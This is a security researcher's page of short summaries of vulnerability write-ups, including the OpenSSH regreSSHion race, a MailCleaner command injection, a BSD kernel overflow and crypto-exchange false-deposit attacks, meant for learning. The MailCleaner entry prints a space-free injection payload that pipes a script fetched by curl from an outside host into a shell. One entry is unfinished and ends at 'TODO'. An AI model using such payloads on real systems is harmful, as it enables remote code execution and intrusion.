Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

regreSSHion: RCE in OpenSSH's server- 1445

Qualys    Reference →Posted 1 Year Ago
  • Signals in Linux are a mechanism for telling a process to do something. It's a common mechanism for inter-process communication (IPC) put simply. Notably, it's possible to have the code pause at some point (because of a signal) then trigger some other code being executed. This matters since the point in which the signal was interrupted could put the program into an inconsistent state, similar to reentrancy attacks in web3.
  • The authors were looking at signal handlers in SSH when they noticed the handling of SIGALRM was calling not async-signal-safe code, such as syslog(), when closing a packet after a timeout. This was a regression of a vulnerability from 2006 in a change in 2020 to SSH.
  • Their initial idea for exploiting this was using free(). In particular, the path would be triggering the SIGALRM while in the middle of free. Then, get the handler to go into malloc with the inconsistent state.
  • They started by trying to exploit this on a 2006 system, which doesn't have ASLR, NX or the glibc malloc unlink protections in place. The goal of unlink is to remove a chunk from the linked list in order to consolidate the space next to it. If glibc is interrupted at the point where a chunk is free above it but not added to the linked list quiet yet, then the unlink will be attempted on attacker controlled data. This gives an arbitrary 4 byte write, which the author decided to put into the __free_hook of malloc to redirect code execution.
  • Sadly, this didn't work right away; the race window was just too tight. So, they decided to increase their chances. The DSA parsing code for public keys has 4 places where free is called and sshd allows for six user authentications at a time, giving us 24 free calls to be interrupted at the perfect time within SIGALRM. After a month, it worked but they wanted further optimization. They started to time the presence of the alarm happening - one failure led to it being triggered to early while other showed it was too late.
  • The original post mentioned an exploit in Kerberos which made them interested in PAM, an authentication module. They found a spot where a cleanup function is not yet initialized but will be soon. So, if they could interrupt the code with an alarm while this initialization was happening then uninitialized data from the heap could be used to control the function pointer. Although this didn't work, they found a similar missing initialization with leftover heap data that could lead to an arbitrary free vulnerability. They decided to use the House of Mind to overwrite the _exit() entry to shellcode on the stack. Pretty neat!
  • Now, to 2024! The only interesting code to hit was syslog(), which calls into malloc. My first thought was "isn't there a lock on this? However, glibc removed the lock on single threaded code, which makes it not async-signal safe. Within libc, they used the same leftover trick from before. When splitting a chunk into multiple parts, the FREE chunk is added back to the link list BEFORE the new size is set. Since the memory can be controlled from the previous call (it's not cleared), then we can overlap this chunk with our addresses! This is sick because it's relative and doesn't require any knowledge of ASLR.
  • Their goal was to corrupt a FILE vtable pointer by using the async alarm to corrupt a function pointer within it. Since there are many, many protections on FILE pointers from the years of abuse, this took some pretty crazy object faking but was doable. This took some pretty crazy heap grooming and timing in order to get this VERY specific case to happen at a VERY specific time. This exploit takes about 8 hours to win the race because of ASLR on 32 bit and the timing window. There is no exploit on 64 bit at this time.
  • Awesome blog post on an RCE in SSH of all things. A fuzzer could have never found this. To me, there are a few takeaways.
    1. Add regression tests for previous vulnerabilities. If something was written in the past, it is likely to come back via a developer who doesn't understand why something exists.
    2. Primitives are hard to find but are there! Taking the time to understand the constraints of your bug and working around it can still lead to big results.
    3. Esoteric knowledge leads to esoteric bugs.

SovrynBTC Bug Thread- 1444

gandu    Reference →Posted 1 Year Ago
  • The author first links a thread about a weird bug pattern in AMMs. A simple lending protocol will have fees distributed prorata. These vaults have the underlying asset in it and then shares of the pool. Depending on when you got in and how much you gave to the protocol, the more shares you will get.
  • The algorithm for the shares being minted is amount * totalSupply/ totalAssets, where the division goes down. When the value of amount * totalSupply is less than total assets, then it will round down to 0. If totalSupply is 1 and totalAssets is 2, with a user deposits a single amount, then the amount of totalSupply is kept at 0 but the totalAssets goes up by 1. By doing this over and over again, the function will increase by 2x.
  • In an example of this exploit comes from MIM protocol to steal 6M. They performed this attack on an active pool by...TODO...

Advanced Transaction Analysis in Cosmos and CosmWasm- 1443

Range Team    Reference →Posted 1 Year Ago
  • Currently, analyzing transactions for EVM chains is super easy. There are ways to fork the chain and run it locally, you can step through step by step in a debugger and there are great graphing tools to see the occurring calls in the TX. In Cosmos, there is no such thing. So, this article is discussing how to improve this in Cosmos.
  • The post discusses what keepers are, Cosmos events and how state is stored in Cosmos. Additionally, it discusses the traceability of CosmWasm transactions being minimal as well. The only thing that's interesting to me was that events are not part of the AppHash. They link to a Github thread about why; A) event API is prone to changes and B) event changes would be consensus breaking.
  • Tracing transactions in Cosmos can only be done by looking at Cosmos events. However, these may be incorrect in the case of a malicious CosmWasm call. So, Range has written a tool called Isotope that modifies a given node to inject extra information into it in order to enhance the observing aspect of it. This allows for a comprehensive understanding of the lifecycle of a transaction. My guess is that they modified CosmWasm and the Cosmos SDK to add more information to it. Unfortunately, this tool doesn't seem to be open to the public yet :(
  • Besides this, they have created a simulator. Given a transaction data, it will run the transaction for you. This is on their website but has fairly hefty limits (5 per day in free tier). So, although it is pretty cool, you can't rerun a TX from a previous block, which sucks. This is a step in the right direction but there is MUCH more that needs to be done in the Cosmos space.

Beyond the @ Symbol: Exploiting the Flexibility of Email Addresses For Offensive Purposes- 1442

modzero    Reference →Posted 1 Year Ago
  • MailCleaner is an email filtering service. An email address has two parts: the local and the domain, which are separated by an @ symbol.
  • The domain part typically contains letters, numbers, hyphens and periods. The local part is more-so up to interpretation though. Typically, these allow for A-Za-z0-9!#$%&'*+-/=?^_`{|}~. However, when using a double quote on the local part, it becomes more lenient, according to the RFC. Hence, this can allow for weird characters: "(),:;<>@[\.
  • By putting it in quotes, many systems will parse it differently. New characters are allowed or username splitting for commas. Why does this all matter? One mail server may understand an email differently than other implementations. Hence, we may be able to trick a system to do unintended things.
  • Sub addressing on emails allows them to extend the basic email address into something more using the + sign. This allows for easy filtering and it's super nice. It's interesting because information after the plus may be ignored or dropped.
  • While looking into MailCleaner, they noticed a call to system for cleaning up file entries. The domain_entry variable on the call came from a file path glob. By chance, the emails were being added into files! This is awesome; we now have a command injection point. In particular, using the double quotes gives us bad characters for command injection.
  • There is a problem though: this code was only hittable by a malicious recipient address with a high spam score. This means that both MailCleaner and itself and the target mail server had to find the email as valid to hit this code. Obviously, the capability to register an arbitrary mailbox was too big of an ask.
  • They decided to target Gmail and Outlook mail providers. They decided to use the sub-addresses functionality in order to exploit this. Sadly, neither of them were compliant to the specification and didn't allow simple command injection allows, which gave them the restricted set of characters +&|`${}#*. In this, there is no space character and everything was lower cased, preventing the usage of ENV variables.
  • In the Dash documentation, there is a feature called parameter expansion. This provides substring functionality. The idea was to extract a space from another command and use that, which then stores the data into an environment variable called a. After executing a command that ended in a particular fashion, we could get those characters. Then, ${a##*d} would return the ending, including a space!
  • The final payload ends up being a=`df|tac`&&curl${a##*d}.modzero.com|sh, where the space is for the spot between the items in curl. They had created a reverse shell that was completely compliant to the RFC, without spaces. That's pretty amazing! As a plus, they got a stored XSS on the email address on the senders email via the extra double quoted characters.

CVE-2024-27815- 1441

Joseph Ravichandran (Ravi)    Reference →Posted 1 Year Ago
  • Within portions of the BSD kernel, the mbuf object is used in networking. It consists of a header and data, which are both fixed size. _MSIZE is used for the total message of the buffer and MLEN is used for the size of the data portion of the buffer.
  • The vulnerability exists within a bcopy where it copies the socket address into the message buffer. Instead of using MLEN for the length check (224) it uses the full size of the buffer (255), including the header. This creates a buffer overflow of 31 bytes.
  • The reason for the bug is likely a confusion between the two length types. This makes sense that it got through code review!
  • The proof of concept for this requires 3 syscalls, which is fairly simple! I'm surprised that something like syskaller didn't find this. The crash trace shows that this corrupts an mbuf after their data.
  • The bug is a super simple buffer overflow. To find it, it required a deep attention to detail on sizes. Naming of variables correctly is important :)

Partial Payments on XRP Wallets- 1440

XRP    Reference →Posted 1 Year Ago
  • The XRP blockchain have a feature called partial payment. This allows a payment to deliver part of what the amount fields says. Why? I'm guessing this is a feature to break up large transfers over time to another user.
  • When the feature is used, the delivered_amount field contains the actual amount that was delivered. In other cases, the amount contains the full amount of funds that were sent.
  • In terms of security, they have a hypothetical attack that I felt was interesting. If your sending funds to an exchange, delivered_amount MUST be checked on the transfer. Otherwise, the user will be credited with more funds than they actual sent. An interesting feature that I'm sure has led to problems in the past.

Details and Solutions for False Top-up Attack (hard_fail status attack) on EOS- 1439

SlowMist    Reference →Posted 1 Year Ago
  • EOS is a blockchain with smart contract capabilities that is fairly unique compared to Ethereum in some regards. EOS transactions have 5 different states:
    • Executed: Transaction succeeded with no error handling.
    • soft_fail: The transaction failed but the error handler was properly triggered.
    • hard_fail: The transaction failed and NO error handler was triggered.
    • delayed: The transaction has some deferred execution.
    • expired: The transaction is expired and cannot be executed.
  • My going through the article (not great English which makes it hard to parse), several exchanges were not parsing the status of the transaction correctly. In particular, the hard_fail could be used in order to get the TX processed on the exchange while it was still chilling in the mempool. This is very hard to make happen, which is why the exchange probably never handled this case.
  • To me, it's crazy that they didn't solely look for executed and wait until complete finalization of the block. However, this is an older article so I'll give the company a break :) Still, interesting way to attack various chains none-the-less.

Bitcoin RBF Fake Deposit Risk Analysis- 1438

ZenGo    Reference →Posted 1 Year Ago
  • In Bitcoin, there is a concept known as replace by fee (RBF) to allow the use of other transactions to replace unconfirmed ones. There are many ways to go about doing this type of scheme. Fee based (higher fee goes) and time based are common ways to do this. On Ethereum, the fee based mechanism can be used.
  • In order to confirm that a transaction went through, a certain amount of confirmations must pass. This demonstrates that this is legit and the state will not change. Many chains call this finalization.
  • Why does this matter? Cryptocurrency wallets were found to be using transactions with zero confirmations; aka, still in the mempool. By abusing the replace by fee functionality (and using a very low fee), it's possible to send a transfer that the wallet initially sees with a lot of money then have this transfer be completely different (or even invalid).
  • Imagine, you're a user doing a transfer for something physical in exchange for cryptocurrency where you BOTH need to do an action at the same time. The end user sees the bitcoin in their account then gives the guy the package. But, it was a trick! In reality, the wallet never had the tokens; they were in the mempool and it reverted.
  • Apparently, this issue effected major wallets like Ledger. In some cases doing this too many times would cause the wallet to become bricked! Overall, a super interesting attack! The wallets want to be fast for the user and didn't anticipate this functionality being abused.

How does the False Top-up attack break through the defense of the exchange?- 1437

SlowMist    Reference →Posted 1 Year Ago
  • How does a crypto exchange know when you sent it funds? Well, there is an address associated with the exchange. In particular, this is unique per user. A transfer is made to this address, which tells the exchange that you sent funds to them. The exchange needs to see this transfer happen via scanning for blocks. Finally, a specific amount of confirmations happen, validating that no reorg will occur. At this point, your exchange account will be credited with funds.
  • Recently, Kraken feel victim to a false top off attack. This articles goes into several ways that this can be exploited, from their own experience. In the case of CertiK on Kraken, it was pretty simple! Kraken was looking for a deposit made to this address within a successful transaction via logs. However, the attackers sent over the funds in a contract then reverted this function call, only to be handled (and ignored) by an upper level call. All Kraken was looking for was a transfer within the transaction that on a successful call.
  • Normally, I would guess that an event would be emitted for this to work. However, since it was transferring ETH directly, there is no event emitted. So, some weird and custom shenanigans has to be done for this. Apparently, the parsing being done was this didn't consider the case that CeritK tried. According to the Tweet, they tried this as several exchanges but only one of them worked.
  • The first two are simple issues with blockchain confirmations. If a fork happens after only a single confirmation or it simply looks in the mempool, then you're super duper F'ed since the transfer could have already reverted. Certain quirks of systems that are unique to it can cause issues as well.
  • The next set of issues deal with failures. If the transaction reverts, then the deposit shouldn't be counted, because the funds were never sent there in the first place. Type confusion can be an issue as well; getting one event to be processed as another type, such as in Felix's Polygon bug. Missing checks on the emitter of the smart contract are common as well.
  • There is also double spending issues, where you can provide the same transaction twice or something like that. In the case of Bitcoin, where ownership is confusing, it may be possible to make a transfer accessible to an account but YOU actually have control over the funds still.
  • They have a few other mentions of previous issues in other blockchains. The specific case study they reveal is about the TON blockchain integration issue, made by telegram. On the TON blockchain, is a cross contract call fails then it can bounce back. When this happens, a callback is made to the calling contract to fix whatever just happened. In the logs of the message, the field in_msg is used to determine the information. However, out_msgs will be the bounceback if it fails. If you only look at the in_msg and it bounces back, then leads to a false transfer.
  • How do we prevent this? Rigorous transaction matching needs to be done in order for this to be secure. It must be a perfect match and nothing else. Second, checking balances before and after a TX is a good source of truth. Finally, having detection's in place is helpful; this sounds easy, but is non-trivial given that there exist a failure in the system that allowed this to happen in the first place.
  • Overall, it's a good article on tricking off-chain infrastructure, which I really enjoyed. I also found a partial payments issue with integration with XRP wallets that was interesting while researching more into this.

Kraken Exchange Hack Drama- 1436

Nick Percoco - Kraken    Reference →Posted 1 Year Ago
  • Kraken is a cryptocurrency exchange similar to Coinbase. Recently, CertiK found and exploited a vulnerability on Kraken to create arbitrary funds within their account. This is the drama that unfolded from the perspective of Kraken, CertiK and then my personal thoughts on it.
  • While reviewing the Kraken application, Certik failed to spot the different transfer statuses. By abusing this, a partially made deposit was able to receive funds. By doing this, an attacker could effectively print money.
  • After discovering the vulnerability, they exploited the issue multiple times to print the funds into the account. At this point, CertiK wanted to see if it was possible to withdraw the funds. The initial whitehat had withdrawn $4 (and was KYCed) but two other actors had stolen much more, including 3M! They sent some funds through Tornado Cash as well for some reason.
  • After knowing about the bug for 5 days, they finally reported it with very vague details. Even with the vague details, the Kraken team wsa able to find and triage the bug within some new code in 47ish minutes. Why didn't the team give full details? CertiK wanted full impact information of the vulnerability to talk to their business development team. I'm guessing they wanted this information to have ground to arrange juicy bounty.
  • Initially, CertiK didn't come clean out the transactions and funds that were stolen; this was discovered by the Kraken team and the funds were not immediately returned. To me, this felt like straight blackhat hacking... they stole funds and then effectively exhorted the company to try to get a bounty.
  • CertiK tried to defend their actions... they claimed they took out a lot of money and let it sit to see if there was any detection on the Kraken side. To their credit, they were right in the defenses being bad. However, it's NOT their place to test. Given they hacked the company, disclosed secrets to other folks and didn't tell them about the funds, I am curious what sort of legal ramifications this will have.
  • From the perspective of CertiK, I disagree with how much money they stole but understand their perspective. If you find a bug and steal $4, the company may claim that they had protections in place that would make bigger impacts impossible. Since you didn't test it, you can't prove or disprove otherwise, leading to a low bounty. Unfortunately, as a bug bounty hunter, we are at the mercy of the company being upfront and truthful. If not, they will eventually pay the price for crossing too many people.
  • A day after this all happened, CertiK released a Q/A about it. There is no way the CertiK team actually thought that stealing these large sums of money was actually the right thing to do; I think they're just claiming it's okay hoping that other people will go along with it instead of admitting their mistake. What happens if the bells rang at Kraken of a hack before they had a chance to report it? Now, they look like a real hacker taking out 3M. They also claim that Kraken is asking for more back than what was stolen. However, CertiK put funds into Tornado and ChangeNow that are untraceable.
  • Overall, this was a failure all around. CertiK found an impactful bug but A) went too far exploiting it and B) a bad job exploiting it. Being more upfront to Kraken about the bug and exploit transactions, this would have gone better. From the Kraken side, bugs happen and that's how life is. Monitoring is a crucial part of security of a platform, as we can't always predict when stuff will go wrong. However, monitoring for everything isn't always trivial for catching all bugs. Makes me wonder what they had in place and what allowed this to skate by. There is never a dull day in crypto!